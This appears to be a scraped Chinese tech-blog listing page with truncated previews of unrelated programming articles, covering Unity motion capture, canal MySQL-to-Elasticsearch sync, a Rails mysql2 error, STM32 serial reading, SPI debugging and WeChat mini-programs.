    本教程将在Unity3D中混合Optitrack与数据手套的数据流,在人体运动的基础上,添加双手手指部分的运动。双手手背的角度仍由Optitrack提供,数据手套提供双手手指的角度。 01  客户端软件分别安装MotiveBody与MotionVenus并校准人体与数据手套。MotiveBodyMotionVenus数据手套使用、校准流程参照:https://gitee.com/foheart_1/foheart-h1-data-summary.git02  数据转发打开MotiveBody软件的Streaming,开始向Unity3D广播数据;MotionVenus中设置->选项选择Unit

  6. 使用canal同步MySQL数据到ES - 2

    文章目录一、概述简介原理模块二、配置Mysql使用版本环境要求1.操作系统2.mysql要求三、配置canal-server离线下载在线下载上传解压修改配置单机配置集群配置分库分表配置1.修改全局配置2.实例配置垂直分库水平分库3.修改group-instance.xml4.启动监听四、配置canal-adapter1修改启动配置2配置映射文件3启动ES数据同步查询所有订阅同步数据同步开关启动4.验证五、配置canal-admin一、概述简介canal是Alibaba旗下的一款开源项目,Java开发。基于数据库增量日志解析,提供增量数据订阅&消费。Git地址:https://github.co

  7. ruby-on-rails - 创建 ruby​​ 数据库时惰性符号绑定(bind)失败 - 2

    我正在尝试在Rails上安装ruby​​,到目前为止一切都已安装,但是当我尝试使用rakedb:create创建数据库时,我收到一个奇怪的错误:dyld:lazysymbolbindingfailed:Symbolnotfound:_mysql_get_client_infoReferencedfrom:/Library/Ruby/Gems/1.8/gems/mysql2-0.3.11/lib/mysql2/mysql2.bundleExpectedin:flatnamespacedyld:Symbolnotfound:_mysql_get_client_infoReferencedf

  8. STM32读取串口传感器数据(颗粒物传感器,主动上传) - 2

    文章目录1.开发板选择*用到的资源2.串口通信(个人理解)3.代码分析(注释比较详细)1.主函数2.串口1配置3.串口2配置以及中断函数4.注意问题5.源码链接1.开发板选择我用的是STM32F103RCT6的板子,不过代码大概在F103系列的板子上都可以运行,我试过在野火103的霸道板上也可以,主要看一下串口对应的引脚一不一样就行了,不一样的就更改一下。*用到的资源keil5软件这里用到了两个串口资源,采集数据一个,串口通信一个,板子对应引脚如下:串口1,TX:PA9,RX:PA10串口2,TX:PA2,RX:PA32.串口通信(个人理解)我就从串口采集传感器数据这个过程说一下我自己的理解,

  9. SPI接收数据异常问题总结 - 2

    SPI接收数据左移一位问题目录SPI接收数据左移一位问题一、问题描述二、问题分析三、探究原理四、经验总结最近在工作在学习调试SPI的过程中遇到一个问题——接收数据整体向左移了一位(1bit)。SPI数据收发是数据交换,因此接收数据时从第二个字节开始才是有效数据,也就是数据整体向右移一个字节(1byte)。请教前辈之后也没有得到解决,通过在网上查阅前人经验终于解决问题,所以写一个避坑经验总结。实际背景:MCU与一款芯片使用spi通信,MCU作为主机,芯片作为从机。这款芯片采用的是它规定的六线SPI,多了两根线:RDY和INT,这样从机就可以主动请求主机给主机发送数据了。一、问题描述根据从机芯片手

  10. 微信小程序通过字典表匹配对应数据 - 2

    前言一般来说,前端根据后台返回code码展示对应内容只需要在前台判断code值展示对应的内容即可,但要是匹配的code码比较多或者多个页面用到时,为了便于后期维护,后台就会使用字典表让前端匹配,下面我将在微信小程序中通过wxs的方法实现这个操作。为什么要使用wxs?{{method(a,b)}}可以看到,上述代码是一个调用方法传值的操作,在vue中很常见,多用于数据之间的转换,但由于微信小程序诸多限制的原因,你并不能优雅的这样操作,可能有人会说,为什么不用if判断实现呢?但是if判断的局限性在于如果存在数据量过大时,大量重复性操作和if判断会让你的代码显得异常冗余。wxswxs相当于是一个独立

随机推荐